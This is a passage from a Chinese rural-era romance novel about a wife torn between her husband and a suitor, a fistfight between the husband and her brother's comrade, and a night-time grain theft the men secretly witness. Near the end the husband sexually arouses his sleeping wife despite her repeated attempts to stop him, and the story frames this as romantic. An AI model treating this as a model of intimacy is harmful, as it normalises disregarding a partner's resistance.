听余阿娘们没少提过的,毕竟余银和那个江窈的关系就像姐妹俩一样,虽然她们两个现在不玩了,但可能是有点感情在的。 这江窈受伤了,余银去看看,正好周医生在家里,跟着过去,也是正常的。 他要相信余银。 游雾州这么告訴自己- 中午吃过饭,趁着还没下雨,周华锦就走了,余家一家在门口送他。 周华言拍了拍他的肩膀:“记得跟姑姑说,我这还有点事,让她别惦记着我,等走之前我回去一趟。” 周华锦点点头,他的心有点乱,根本听不进去他表哥说的什么, 其实他还能再待着,但今天游雾州的出现,让他需要好好想清楚。 周华言见他有些悻悻的模样,也没在说什么,只是微眯着眼睛打量他。 临走时,他深深的看了一眼余银,心里还有一点期望。 只要余银也看向他,他就立马留下,直接告诉她自己的心意。 但那么多人在,他那不是为难余银吗。 想到这,周华锦眸光暗了下来,他唇角动了动,最终什么也没说。 他要想清楚了,要考虑好后果,才能告诉余银,这是身为一个男人的担当。 游雾州看到他那个眼神心里就不安,两只眼睛紧盯着周华锦的反应。 在看到他失落的眼神后,心底松了口气。 余金也注意到了,周华锦怕是对余银有了心思,但毕竟俩人还没离婚,他觉得周华锦这样众目睽睽之下,看余银的眼神,实在是一些不妥。 看到余银躲闪,他也松了口气,不管怎么样,余银最起码是要等到和游雾州分开后,再去相看。 省的落人话柄,也让游雾州心生不耐。 只是心里隐约有些觉得,周华锦比游雾州还大上一歲,怎么就没有他稳重点…… 周华锦走之后,都各自回房间休息,余阿舅把余金走有话要说。 余银其实看到了周华锦对她,眼里的期盼,但是她现在给不了他回应,何况还那么多人在。 她今年二十歲,长得也还算好看,皮肤也不粗糙,屁股和胸也都不小,因为吃的不多,身上也挺瘦,细条条的。 她挺喜欢孩子的,可是游雾州不想跟她生孩子。 两个人时间久了,不要孩子,其他人就会以为她不能生。 二十岁还年轻,但也不小了,大好年华就这么几年。 她还这么年轻,为什么非要守着一个不属于她的男人,为什么不回应周华锦,他是喜欢自己的,这种想法在脑子里越演越烈。 余银难道要等到几年后,游雾州考上大学了,和江窈也勾搭到一起了,自己再去回应周华锦的心意吗? 谁会愿意等着一个回应这么多年,周华锦凭什么等她。 她到时候也不再年轻漂亮了,有什么资格让人家等。 而且,周华锦一个未婚的大好青年,还是城里人,她一个结过婚的村里女人,虽然识得字,有点姿色。 她也不是和周华锦配不上,毕竟两个人还算是相亲对象,只是没相成,但那也仅限于她没结婚啊。 她到底该怎么办,周华锦这样的男人,如果真是愿意娶她,那她就算和游雾州离婚了,也不会让人笑话。 她娘也不至于被指指点点。 余银想了一天,这一天都有些魂不守舍的,而且是在周华锦走了之后,更为明显。 游雾州原本只当她是没睡好,所以看起来没精神,但等他晚上回来后,余银还是一副魂不守舍的模样。 就像是周华锦走的时候,把她的魂也牵走了似的。 下午周华锦的那眼神,但凡不是个瞎子,都能看得出来,真是一再挑衅着他的底线。 当着他的面,就对余银眉来眼去,那个周华锦是真当自己不存在的吗。 也不知道余金他们对他说了什么,胆子这么大。 游雾州实在忍不下这口气,他去敲了余金的门。 余金打开门,看到是他,双手抱臂低声道:“你想通了?” 从他的角度看,虽然周华锦今天的行为实在不妥,但要是真刺激住了游雾州,他也不好解释,看游雾州这会儿来找他,他约摸着真刺激住了。 也估摸着想通了。 游雾州对上余金的目光,咬着牙道:“大哥,我还没死,也还没离婚呢。” 周华言听到这话,此时从余金身后走出来,对上他的目光,有些不耐烦道:“然后呢。” 游雾州气的胸膛起伏着,他垂在裤边的手掌握成拳头,攥得骨头“咔咔”响着。 “怎么?”周华言扫了眼他的拳头,冷笑一声:“你还想动手啊。” 周华言骤然挥起拳头朝着游雾州臉砸去,游雾州来不及躲,下巴被他拳头砸上,这一拳用的力气不小,他瞬间感觉到疼痛。 “我早就看你不爽了,装着一副道貌岸然的模样。” “因为查你的事,浪费我俩多少宝贵的时间。” 游雾州冷着臉没多说,和周华言打了起来。 两人你一拳,我一腿的,余金也不阻拦,就抱着臂,站在一旁看着。 就在两人打的热火朝天,动静越来越大的时候,余金怕吵醒其他人,才出手阻拦。周华言在部队经常这样打,就这样他嘴角也有点淤青,还沾了血。 游雾州也不遑多让,脸上好几块淤青,也带着血,他以前也没少练,久不动手有些生疏,刚开始一直挨揍,才渐渐找回感觉。 余金从屋里拎着煤油燈,照了照两个人的脸,微啧一声,“你打他打这么重,明天怎么交代。” 周华言冷哼一声,“他小子就是看我长得好,朝我脸上呼,丫的,我已经够忍着没把他凑成猪脸了。” 游雾州听到这话,目光冷锐:“你试试来。” 周华言冷喝:“来就来。” 余金歪了歪头,微抬下巴:“去外头打,别吵醒他们了。” 说完,拎着燈出去,为他们照着路,带着俩人去到了一片空地那。 “来吧。”余金拎着灯往旁边稍了稍。 他们去的时候糧仓旁边,晾粮食的那块儿空地,不下雨了,也就没人在粮仓看着了,这又没啥人来,比较安静,也不影响别人。 游雾州和周华言直接把上衣脱了,光着膀子,开始打了起来…… 第46章 第46章有人偷粮食 游雾州和周华言一个进攻,另一个就防守。他俩下手都重,不想被打到。不知道打了多久,两个人谁也不让谁,到最后只好气喘吁吁地收了手。 余金就靜靜地像看戏一样,但凡他手里有个瓜子,就磕了起来。 游雾州两手放在跨上,喘着粗气,心底那点郁气,也在剛才消磨的差不多了。周华言,单手搭在余金肩上靠着他,手指弯曲揉了揉嘴角,撇了眼游雾州,就忍不住来气。 周华言很在意他的那张臉,偏偏游雾州把他臉打伤了。 他又不能把游雾州的臉揍的太难看,那叫一个憋屈啊。 他咬着牙说:“打人不打脸,你不知道这个道理嗎。” 游雾州冷冷的看了他一眼,“不好意思说这话?” 明明是周华言先往他脸上招呼的,后面在余家的时候,也没少对着他脸招呼着。 这会儿好意思说,打人不打脸? 把他当傻子耍啊。 周华言张了张口,还没把话说出来,就见余金快速的吹灭了手里的煤油燈,对他摇了摇头。 周华言和游雾州见状,瞬间察觉到不对,三人默契地摒着呼吸。 这个时候人都睡了,村里子无比安静,每个细小的动静都传进他们的耳朵里。 因为下雨,村里的路泥泞不堪,那即使放的再轻的步伐,再这样的路上走着,腳步声也会格外明顯。 而他们待着的地方,在糧仓左边一点的空地那,被墙挡着一点,余金吹燈又吹得快,那人没有看到他们三个。 紧接着,就是钥匙插进门鎖的声音,“咔嚓”一声,鎖打开了,随着门闩轻轻抽出来的声音,门被打开了,正悄悄地往里进。 呼吸都提起来了,夹着气息踮着腳,一步一步往糧仓里面走。 那人进去后,还有一个人紧随其后也过来了,不像剛才那个人偷偷摸摸地,这个人没太刻意放轻动作。 “你咋还拿着燈啊,不怕被人看到嗎。”一个男人的声音,压的很低,像是生怕被人听到了。 “都睡觉了,谁看得到。”这个声音听着是一个女人的,她话里帶着不屑,“你一个男人,怎么膽子还没我大啊。” “搁谁做这事不害怕啊。”那男人忍不住反驳,“这要是被抓住,就完蛋了。” “游雾州就不会怕,他可比你膽子大多了。”女人忍不住有些看不上他。 游雾州 三个人早已绕着墙,来到了门口旁白那角落处,听到叫他的名字,余金和周华言审视的目光就扫向了他。 游雾州自己也是奇怪,这两个人的声音,他不认识啊,也没有做过半夜去糧仓里的事啊。 那边就又听到那男人的声音,可能是有些气恼,声音大了不少:“你够了啊,左一个游雾州,又一个游雾州的,他已经跟余银结婚了,你再想也没用。” “我知道啊。”女人无所谓的说着:“我没有破坏别人婚姻的想法,而且就快要和余银离婚了,我对他也就是单纯的欣赏。” 她又补充道:“再说了,惦記他的可不是我哦,你再着急也没用啊。” 男人顯然是被触及痛处,声音有些颤抖:“别再说了。” 游雾州和余金、周华言听到这,就没再听到他们说话了,只能听到糧食袋子被打开,裝粮食的声音。 他们拆了好几个袋子,都裝了一点。 听声音,能大概知道装的不是特别多。 毕竟多少斤粮食都是記过账的,要是偷的太多,不说看不看账本,一看那袋子就知道少了粮食。 装完粮食,又把锁重新插上,走的时候拎着灯警惕地四周走过去看了看。 正朝着游雾州他们待的地方,过来的时候,这一瞬间,游雾州三人瞬间做起了防备的姿势。 恰好这时候那个女人锁完门了,看到那个男人拿着灯,立马也跟着过去,一把抢过煤油灯吹灭。 有些生气的质问他:“你是不是有病。” 男人语气讪讪:“我就是看看有没有人。” “你管有没有人,就算有人他又没出来,也不知道咱俩是谁。还他妈的半夜来着,安心也指定不是好心,他就算告状也先解释自己。你个傻逼,还举着灯上赶着过去让人看到你是谁,真他妈是个蠢蛋货。” “我真他妈的服了你这个,又他妈窝囊蛋,又他妈傻逼的操蛋玩意,猪一样的队友简直是。” 她说的话,有些词很新奇,但能听出来都是不好听的,虽然却很有一番道理。 那男人听着她骂,也不敢说话,游雾州他们听了也有些唏嘘。 等到他们走出点距离,周华言看着余金,两人眼神交流一会。 余金听得出来那个男人是本地的,但那个女人,不只声音,语调和语气,都很不对,村子里没来新人,却听着一点都不像楊柳村的人。 且这两天村子里也没有来过外人。 余金对游雾州说:“我俩去看看,你先回去,他们说那事,我晚点再跟你说。” 游雾州也跟着他俩走,说道:“我也去,他们说的我真不清楚,不能只听他们一面之辞。” 又补充道:“我不会拖你们后腿,说不定还能帮上你们。” 余金皱了皱眉,沉默着像是在思考。 周华言虽然看游雾州不顺眼,但刚才跟他切磋过,看得出来他有两下子,就跟余金说:“帶着吧,还不知道对方有多少人。” 余金这才对游雾州微抬下巴,同意了。 楊柳村最近刚收完粮食,路上空荡荡的,那两个人的身影在黑夜里也有些明显,游雾州和余金、周华言他们也没跟的太近,留了距离,不紧不慢地走着。 他们训练过这些,跟起人来很难被发现,不过,可能是也是因为刚才那个女人的一番话。 路上,他们一次头都没回过,丝毫不担心害怕。 楊柳村,顾名思义杨樹和柳樹很多,村子里扬姓柳姓也是因此而来,那两个人走到水塘边附近的杨樹林里。 那是余银落水的水塘边,那附近鲜少有人去,余金倒是听人提过,是因为以前打仗,死的人太多了没地方埋,就都扔到了那个水塘里和那树林里。 听老人们说,那水塘边和树林里晚上的时候,能看到不少穿着以前衣服的人。 这地等于说是闹鬼,就没啥人来了,里面虽然养了点鱼,但也不怎么打捞,那个树林,倒是没人敢进去过。 游雾州和余金、周华言他们三个不怕,那是因为他们接受了新思想教育,鬼神乱力之说都是假的。 他们躲在树林旁边长得跟人差不多的黄蒿艾草丛里。 那两个人,男的显然也知道这个事,在树林外犹犹豫豫,“你,你觉得冷嗖嗖嗎,我爷跟我说,这里头闹鬼。” “闹鬼?”那女人显然不信,她撇了撇嘴,“不会是你胆子小,害怕不敢做了吧,你不知道建国以后不许成精嗎,还鬼呢,你们这时候谁说鬼神的事,就属于那啥吗。” “不是我胆子小,是真的。”那男人认真解释道:“你不也是杨柳村的嘛,你小时候你爷奶就没跟你说过吗,这里头可邪乎了,咱要不就在这弄吧。” “啊,哦,提过一点,那就在这弄吧。” “咱们能弄成吗?” “那你昨天吃的是屎吗,请问。” “……” 见就她们两个人,周华言极小声地问余金:“那个女同志也是你们杨柳村的,听着声音挺年轻,你能听出来是谁吗?” 余金回想了一下,摇头小声道:“村里年纪女同志不少,我又常年在部队,不知道她是谁。” 余金看向游雾州,游雾州也摇头。他淡淡道:“可是那两个人都认识你,你仔细想一下。” 那两个人提到游雾州话里话外都挺熟稔的。 游雾州想了想,他确实觉得那个女同志的声音很熟悉,那样的说话语气他好像在哪里听到过。 他到底在哪里听到过…… 游雾州实在想不起来,他摇了摇头,苦笑道:“真不知道,我也才来杨柳村半年多。” 周华言微啧一声,余金别有深意的看了游雾州一眼。 周华言道:“他们应该是要做麦芽糖挣钱的,你们村有谁家会做这个的吗。” “不是特别清楚。”游雾州轻声道:“但好像没听说过,村子里谁会做这个的。” 余金也不知道谁会做这个,而且还偷偷摸摸地,一看就是投机倒把。 会做麦芽糖的,还这么胆大的女同志,他对了一下记忆里的年轻人,也找不到一个对应的。 游雾州不知为何想到了江窈,她估计有这么大的胆子做得出来,但她脚受伤了,走不了这些路啊。 三个人一筹莫展地,只好等着他们弄完,准备跟着他们回去,看看这两个人到底是谁。 也没多久,那两个人好像就要走了。 那男人有些不敢相信地说:“就这?把麦子洗洗泡着?那粮食不都发芽糟蹋了吗?” “这才刚开始,要等着发芽呢。”女人接着道:“真是让人厌蠢症犯了,要不是她受伤了来不了,我才不想带着你。” “跟你一起,唧唧歪歪地,尽做些蠢逼事,问一些蠢话。” “说的好像我愿意跟你一起啊。”男人也不甘示弱道:“要不是她受伤了,我才不想来帮你。” 说着说着,两个人又吵起来了,也可以理解为,那个女人单方面碾压那个男人。 叭叭地骂着,不带停歇的,根本不给他回嘴的机会。 周华言搓了搓脸,问余金和游雾州,“就这样的,你们俩真没村子里见过?” 她那张嘴,比得上好多妇女吵架的战斗力了。 而且骂得很脏很难听。 这样的人,要是游雾州和余金见过,不可能没有一点印象的。 第47章 第47章这是你男人给我揍的 两个人到村子里,就各自走各自的了。 周华言对村子不熟悉,他和游雾州一起跟着那个男人,余金则是跟着那个女人。 村子里不能跟太近,两个人也不傻,专走大路再绕小路,讓他们只能知道大概位置。 不过杨柳村也不大,他们去大概位置,有几户人家,游雾州、周华言和余金他们也记下了。 三个人回到余家,游雾州还要去知青点,去找那两个人的任务,就落到了余金和周华言头上。 余金和周华言直接回了房间,游雾州朝着后院走去。 他进屋的时候,不知道余银睡着了没有, 动作很輕的推开门。 余银其实还没睡着呢,她一直在想事,见他这个时候回来,有些奇怪,听到游雾州拿盆的声音。 她奇怪道:“你去哪了?怎么还要洗澡?” 游雾州听到她说话,以为把她吵醒了,柔声道:“去和大哥说了会话,我出了点汗,洗洗凉快些。” 余银听了点点头,“那你去吧。” 她今晚有些睡不着,一直在想事情,感觉脑子里一团乱。 她想和游雾州離婚,但问题是现在就離婚其实也有些困难,余阿娘对游雾州是很满意的,贸然就说不想过了,又找了周华锦,余阿娘肯定不会同意,还指定会讓她把心思收起来藏好,和游雾州好好过日子。 那就只能等到游雾州上了大学,和江窈的关系也越来越亲密,才是他们離婚的时候。 这样的话,真等到三年后,那时候周华锦也指定不可能了,就算他同意了,人大好年华,也到了适婚年龄,家里人不可能讓他等三年,最后真闹着要结婚了,男方家里对她有意见,日子也指定不好过。 现在她有两个需要面对的选择,一个是等着游雾州跟她离婚,周华锦那邊也没可能了,她会變成一个笑话,一个没人要的女人。 余银不想那样,她也要找到属于自己的幸福。 人人平等,她也有追求幸福的权利。 那就是另一个选择,她身邊只有个周华锦各方面都还不錯的男人,还是她哥介绍的男人,人品肯定也錯不了,她只能稳住周华锦,不能讓他等太久。 并且在这一年内,让游雾州主动提出来离婚,让这个婚离得不难看,让余阿舅和余阿娘也能同意他们离婚。 还不能把游雾州惹怒。 该怎么去想这么一个法子呢……- 游雾州不知道余银是不是在等她还没睡,还是因为周华锦的离开而睡不着,他怕余银要睡觉,自己在屋子洗澡吵到她。 他就端着盆出去了,没一会儿,余银就听到了外头哗啦的水声,他身上有伤,水碰上皮肤的时候,有些刺疼。 游雾州咬了咬牙,忍不住在心里道,那周华言下手也太重了些…… 他赤着上半身,打湿了毛巾,在身上擦了擦,才泼了水回屋。 现在已经是半夜了,他躺到床上的时候,却仍听得到余银不平稳的呼吸,显然是依旧没睡着。 夜深人静,连青蛙和知了都停止了鸣叫。 游雾州顿了两秒,朝着余银那边挪过去。 在挨着余银的时候,能感受到她的呼吸瞬间屏着,身体也僵硬住了。 余银双眸紧閉着,在游雾州靠过来的时候,瞬间變得开始紧张,不敢大口呼吸喘气,快要被憋死了。 她也不知道为什么。 明明没睡着,却要在游雾州面前裝作一副熟睡的模样。 “余银。”游雾州薄唇輕启,像是確认,“睡着了。” 余银的心仿佛都要从胸腔里跳了出来,但一双仍然紧閉着。 就在余银以为游雾州没有了动作的时候,却突然被他摟在了怀里,余银吓得大气都不敢出,张口就想问他要干啥,但那未说出口的话。 被她又咽了回去。 游雾州好像在看着她,泛着凉意的指尖轻拂去她臉颊旁的发丝,似有所思。 他动作亲昵却又更像在確认,实在是气氛有些诡异,余银又是一个憋着气息,不敢往外呼气。 游雾州深深地看了她一眼,低笑了声,替她掖了掖被角,将人往怀里使劲摟了搂,调整好姿势,才酝酿睡意。 他们俩是有两床被子的,一人一床,但可能天热,游雾州不盖被子,每次和她挤到一块儿,睡到一床被窝里。 余银警惕地听着他的呼吸,没过一会,等待着他的气息平稳后,她也实在是困了,閉着嘴巴打了个哈欠。 轻轻地想要挪开游雾州的胳膊,退到一边自己睡的时候,睡梦中的男人敏锐地反手轻攥住了她的手腕。 他整个人都将她按在怀里,宽厚的手掌若有似无的摩挲了两下她的腕骨,顺着她的手臂向上收了收。 紧接着就极其自然的笼罩着那团粉白,还本能的下意识手掌合拢了两下。 余银的臉在黑里夜里迅速涨红发热,呼吸也有些急促。 他这动作一看就没少做,余银每次都比他先睡,根本不知道他在她睡着后是这样的…… 这男人私下里除了不出去就算了,手也太不老实了些。 余银闭着眼,眼睫轻颤,她裝作不经意地转了个身,正好是朝着游雾州怀里的方向,这一动作自然的将他的手给带出去了。 她唇角微微扬起,腿朝着他腰间搭过去时,拐了个弯,虽然刻意收着力气,没使多大劲。 但膝盖怼着过去他腰腹下,疼的游雾州喉间溢出一声沉闷声响。 那双原本双眸紧闭的男人倏然睜开眼,眸底一片清明,在他睜眼那一刻,似乎对上了余银来不及闭上的眼睛。 余金原本还想笑,谁让他不老实的,真是活该。 可却没想到游雾州直接醒了,好像看看到了她睁着眼。 她好像玩大了…… 她知道那玩意其实不能乱碰,还关系着游雾州的后代,但是她也没用多大力气啊。 虽然他那一声,听着是挺疼的。 余银只是小小惩戒他一下,才刚开始高兴,就被更多的担忧笼罩。 游雾州的眼神就像一把锐利的刀,想要剥开她的皮似的,在她身上直直盯着。叮的余银心里直达发怵。 就在她心里给自己攒足了气,都准备张嘴,跟他说自己不是故意的时候。听到了游雾州深呼两口气的声音。 然后就没有了然后。 就好像他是做了个不好的梦一样。 像个没事人,搂着余银继续睡了。 余银这下也老实了,闭着眼,闻着游雾州身上干净清爽的味道,渐渐睡着了- 早上起来的时候,游雾州已经不在了,余银翻了个身,大字型占着整张床,床上没有另一个人呆过的余温,估计走了挺久的。 余银半睁开眼,看着蚊帐顶,发了会呆。有时候她还挺佩服游雾州的,昨晚回来那么晚,还能一大早上知青点。 吃力不讨好的活,他就算多睡会去,不也没什么人会说他。 可他偏偏就早早的起床就过去,总是让人寻不到错处。 除了在床上像变了个人似的。 余银揉了揉眼睛,穿好衣服从床上起来。 她洗漱完,正往厨房里走准备吃饭的时候,虎丫过来拽了拽她的衣服。余银低头看着她,眯着眼问她:“你又干啥坏事了?” 虎丫摇摇头,拽着她的胳膊,去揽她的头,“你头低下来,我跟你说个悄悄话。” 余银蹲下身子,把头低过去,虎丫捂着嘴巴,凑到她的小声的说道:“漂亮哥哥在臭美照鏡子。” 余银微皱着眉头,不解的道:“就这?” 虎丫“嗯嗯”的点着头,继续凑近她耳朵说:“他才第一臭美的,我没有他愛臭美。” 余银上下打量了虎丫一眼,逗她道:“他是男生,你是女生,他肯定没有你愛臭美。” “所以你肯定还是第一爱臭美的。” “我不是。”虎丫瞪着眼睛,大声道:“漂亮哥哥才是第一爱臭美的,他照鏡子都不撒手,我今天都没照。” 说了半天,都是为了最后一句铺垫。 虎丫的鏡子被周华言占着,她不好意思要,就来跟余银说他爱臭美。 余银觉得好笑,捏了捏她的臉,“你想照镜子直接去我那屋拿啊,我那不是还有个镜子。” 虎丫撅着嘴巴,哼了一声:“姐夫说了,你们房间不能进去。” 余银奇怪,为啥游雾州要说他们房间虎丫不能进去,她看着虎丫,说道:“他为什么不让进我们房间,有没有告诉你。” “娘也不让我和哥哥进你们房 间了。”虎丫嘴巴撅的高高的,有些不明白的说:“为什么你们要有小寶寶,我和余庆就不能进你们屋。” “以前你的房间我都可以进,为啥你结婚了,就不能再去你屋里了,娘还说,我和余庆进去了会打扰你们要小宝宝。” 余银有些汗颜,她微红着脸,不知该如何跟她解释。 偏偏虎丫好追着问她,“姐,你们要小宝宝的时候我不能看吗?为什么不能看啊。” 余银没办法回答她,从锅里拿出一小块黑面馒头,掰了一大块塞到虎丫嘴巴里,“你不是想照镜子吗,还照不照。” 虎丫嘴里塞了好大一块馍,她窝着脸说不出话来,拽了拽她的手,忙点了好几下头,就怕余银看不见。 余银去屋里拿了镜子给虎丫,跟着她进了堂屋,就看到周华言在盯着镜子,看着他那张过于漂亮的脸。 只是他的嘴角怎么有一块淤青?跟谁打架了吗? 周华言在镜子里看到余银,盯着他嘴角的伤看,立马幽怨的看向她,指着自己的伤道:“是不是毁容了现在。” “这是你男人给我揍的……” 余银震惊,有些不可置信。 游雾州揍周华言? 这可是她哥哥的战友,游雾州把人揍了,还打人家脸? 第48章 第48章好事被打断 周華言迎上余银的目光,冷哼一声:“妹啊,打人不打臉,你看这男人,上来就朝着我臉凑。” 余银尴尬笑了一下,没说话。 她实在不知道该怎么说。 她管不了游雾州,相反还要順着他来,这他把自家哥哥戰友揍了。 余银真是一点办法都没有。 她秀眉微蹙,手指絞在一起,“華言哥,那个,你别和他一般见识,他,他估计也不是有意的,就是吧…” “就是故意的。”周華言照着镜子,微抬着下巴左右看,说道:“他就是纯故意的,专门揍的。” “啊,啊?”余银愣了,她脑子有些怎么听不懂了,“你说他故意专门的?” 周華言淡淡的瞥了她一眼,接着照镜子。 那眼神仿佛在说,你不信我? 余银半垂着头,放在腿上的手指絞来绞去,游雾州没有理由的这样做。 怎么想都解釋不通。 他也不是一个冲动的人啊。 他为什么要去揍周华言,人家又跟他不认识,也才见过几面。 周华言也……?不对。 他是周华锦的表哥,也是他把周华锦经过余金,准备介绍给她。 游雾州撞见过她和周华锦,虽然他当时是什么也没说。 但是难免心里不会怀疑,不会生气。 余银心跳一咯噔,她空咽了下,“他说什么没有?” 周华言掀起目光:“你怎么这么緊張?” 他放下镜子,轻声道:“唉,其实我也揍了他,你不用緊張。” 余银跟着点头,却又猛的抬起头。 什么叫也揍了他? 这是打架吧互殴吧,到底发生了什么,怎么就打起来了。 游雾州那小心眼的样子,肯定是要在心里把周华言记上一笔,就是不知道会不会连带着余家,也在他心里有了一笔。 余银有些担心……- 游雾州一大早,趁着人都没醒起来做了早饭,吃过饭就去了知青点。 他不用看,也知道自己的臉上肯定伤了好几块。 他也真是被气昏了头,实在冲动。 这要是被问起来,都不怎么好开口解釋。 而且余银那里更不好交代伤是怎么来的。 游雾州有些头疼,到了傍晚,他再知青点吃晚饭又多待了一会才離开。 暮色下沉,游雾州才准备回去。 他反正还要去知青点几天,这几天早出晚归,余家人也看不到他臉,到时候脸上颜色消下去,他也不用再去知青点了。 游雾州这样想着,左右能瞒一天是一天。 到了余家门口的时候,他看了眼大门,又折去到余家后面。 从前院回房间,要是有人没睡,太容易被注意到了,他决定从后院翻牆进去。 翻牆前,他看了眼房间灯在灭着。 接着,游雾州又看了一眼牆的高度,找了个位置,一只腳往墙上蹬着同时,借力把手攀上墙沿,另一腿也同时间甩了借力轻轻一跃,就上了墙沿跳到院里。 地上还是泥泞的,他跳下去虽然刻意放轻,但仍有一声“啪唧”的落地響。 早上刚起就听说游雾州和周华言打架,还一天都没见他,晚上到了饭点也没回来,现在这么晚还没回来。 余银有些不安,她也不知道到底两人为何打架,洗完澡,就一直在床上坐着等游雾州回来。 忽然她听到一个翻墙的声音,也不知道是不是听错了,那腳步声在安静的夜里格外明显,阿娘他们过来找她,会先开口说话,不会这样轻轻地,像是故意放轻步伐,生怕有什么动静。 这是来贼了? 余银有些害怕,屋里现在就她自己,还是个手无缚鸡之力的,现在跑是来不及的,她该怎么做? 余银掐了掐手掌心,试图讓自己冷静下来,一点一点从床上下来,动作放的很轻,她邊走邊打着哆嗦。 屋子里没有順手的东西,她又害怕的不行,手心里出了一层薄汗,她就近搬起一个小凳子,站在门口不远处。准备等贼一开门,她就砸过去,然后边喊边往前院跑。 余银猫着腰,一手拿着凳子,一手捂着嘴巴,不敢讓自己喘着大气的声音传出来。 她实在太害怕了。 脚步声越来越近,就停在了房间门口,下一秒,就轻轻往外拉开门。 余银在门开的一瞬间,手里的凳子直接砸过去的同时,她人也往外跑。 余银没有听到凳子落地的声音,也没听到自己喊出来的声。 “有——唔,唔。” 游雾州接住凳子,见她喊出声,怕她招来人,用拿着等着的胳膊把人往怀里圈,另一只空着的手,立马捂上她的嘴,堵住她没喊出来的话。 “余银,是我。”游雾州低沉的嗓音在她头顶響起。 说完,游雾州松开手,五指收拢,不自觉地轻咳一声,放低声音:“是不是吓到你了。” 余银怔怔地回过神,抿了抿唇,低声问:“你偷偷摸摸从后院翻墙,咋跟做贼似的。” 游雾州柔声道:“回来的太晚了,怕吵到大家,就想着从后院翻进来。” “走吧,进屋去。” 游雾州说完,就撒开手,谁知道余银差点倒下去,他赶紧接着她,“怎么了,余银?” 余银吐了口气,身子一直被游雾州搂着,都忘记了自己吓的腿都软了。 她抿了抿唇道,面不改色道:“没事,腿抽筋了。” 游雾州眉心微微拧起,将她打横抱起来,进屋放在床上。 他手里还拿着椅子,顺手放在地下坐上去,坐下后,又把煤油灯点开,捏了她的腿,“哪条腿抽筋了?” 余银还有些没反应过来,她胡乱随便指了一条腿,“这个。” 游雾州薄唇紧抿,抓着余银的脚踩在自己膝盖上,手指顺着她的小腿轻轻揉按着。 余银抽筋是装的,她肯定不好意思说没事,就只好讓游雾州给她摁着。 游雾州还挺会揉,让她还挺舒服的。 她的目光也随之落在了游雾州脸上,他的眉骨,鼻梁,颧骨,下颌,嘴角,都有淤青。 余银張了张了嘴巴,心想,难怪周华言让她不要紧张,我亲娘嘞,给游雾州揍的啊。 这才是毁容了吧。 其实也不算毁容,煤油灯暖黄的 光晕落在他的脸上,虽然有好几块淤青,但仍不影响他的帅气,反而让他清隽的面容,多了几分凌厉的气势。 更有男人味了。 要不是这张脸长的实在好,把余银迷的三五不着六的,就非要嫁他不可,还使了些不光明手段。 游雾州揉了会,一双漆黑的眸子看向余银,见她略微出神的盯着自己看,顿了顿。 他忘记自己的脸上还有伤了。 他轻叹了口气,垂下眼眸,张口道:“我就是和大哥的戰友切磋了闹着玩的,就是看着有点吓人。” “你们没打架?”余银问他。 “打架?”游雾州摇摇头,解释道:“没有,这样的切磋在部队里常有的事,不是打架。” 又补充道:“那是大哥的战友,我怎么会和他打架,而且我和他打架做什么,我们又没矛盾。” 他原本还在纠结怎么说,才能让人相信,都想了一天没想好。这会儿竟然脱口而出一个借口。 还脸不红心不跳。 余银有些狐疑,但也隐隐觉得游雾州不是冲动的人,而且就算是因为周华锦,打他表哥算什么。 他表哥还是余金的战友兼好兄弟。 游雾州现在还不会这么拎不清的。 她悬了一天的心也放了下来,一放松人也就有些乏了,余银抽了抽腿,揉着眼睛道:“不揉了,我想睡觉了,你也快去洗澡吧,锅里给你留了热水。” 说完余银就转身往床里面爬,游雾州握着她的腿不撒手。 另一只手,顺着她的小腿轻抚着上移。 动作令人意味深长。 余银被人拉着腿,自然也躺不到那,她身子扭着转过去,手臂撑在身后,看向游雾州。 她轻扯了下嘴角,无奈道:“我真困了。” 她确实是困了,也有点想疏離他,虽然现在不能立马分开睡,但是她也想尽量睡一起,不做太亲密的事。 如果两个人真夫妻做久了,她本来就对游雾州是有感情的,在周华锦的事上,她是摇摆不定的。 那更证明了她对游雾州的感情,万一她又对游雾州迷糊了。 那她真就完蛋了。 男人幽暗的一双眼眸,里面翻涌着让人看了就脸红心跳的情绪。 游雾州喉结滚动了两下,嗓音低沉暗哑:“小鱼儿。” 他声音本就好听,此刻就像是顺着余银耳廓,沿着经脉一路钻到心口,酥酥麻麻的。 余银揉了揉额头,说道:“你先去洗澡去,等会水涼了。” 游雾州低头在她的膝盖上,落下一个吻,这才松开了她的小腿,薄唇轻启,吐出两个字。 “等我。” 说完拿着盆和衣服出去了。 余银看他离去的背影,勾着唇笑了笑,她起身把煤油灯吹了,打着哈欠躺下睡觉去了。 等他?那是不可能的。 游雾州就算澡洗的很快,但他还要洗衣服,把床单泡一泡的,等他回来。 余银早就睡着,进入梦乡了。 她要是先睡着了,这人肯定也就歇了心思的。 这么想着,余银片刻间,就沉睡了。 游雾州虽急,但该做的事还要做,等弄完了回房间,屋子里灯已熄灭。 余银平缓的呼吸声告知着他,已经睡着了。 游雾州站在床边,指尖抚在额间摇了摇头。 余银真以为,睡着了就不会醒吗…… 游雾州弯腰从蚊帐里钻了进去,目标明确去搂着她。余银睡觉的时候穿的的十分清涼,也十分方便了他。 他捻起衣角,往上一推,睡梦中的余银下意识把手举起来了,衣物尽褪。 游雾州的手有些微凉,雨也差不多不会再下了,温度又高了起来。余银颤栗着靠近他。 微凉的指腹不断作乱,给人不达目的誓不罢休的感觉,余银阻拦了好几次都没成功。 游雾州早已对她的感官了解透彻,轻而易举的就把人带的主动起来。 “咚咚。”敲门响起。 第49章 第49章螳螂捕蝉黄雀在后 敲门声不大,并没有讓游雾州停止了他的动作。 余银被他撩起燥热,身上触感清晰真切的告诉她,那燥热来源于什么。 她迷迷糊糊睁开眼,下巴时不时蹭着游雾州的脑袋,果不其然啊。 正是游雾州此刻在埋着头四处挑起火。 余银推搡着他的头,这男人一点不为所动。 “咚咚咚”的敲门声,帶着不大不小的清嗓子声响,由远及近传来。 余银呼吸一紧,还没来得及反应,游雾州就先退开一步的同时,抓起一遍的被子,给余银裹好。 “咚咚,游雾州——” 敲门声和刻意压低的声音再次响起,敲门声像是在门口,而说话的声音却又有些距离。 游雾州不得不从床上坐起来,穿上衣服,把煤油灯燃起,他站在床边,对余银说:“我去看一下。” 那一双眸子黑沉沉的,里面是还未消散,翻涌着那晦暗不清的复杂情绪。 余银没说话,将头轉了过去,留给他一个后脑勺。 她困得要死,又被弄醒,实在是不想给他好臉色。 只好默默轉过头去。 游雾州见状,想到刚才她转过头前,臉上帶着的潮红,喊着湿意眼睛里在光线下更亮了。 而这都是只能对他,也是因为他的而才露出的一面。想到这,游雾州就觉得腰腹突然崩得更紧了些。 游雾州望着她的后脑勺,又掀开蚊帐钻了进去,把她臉掰着看向他。 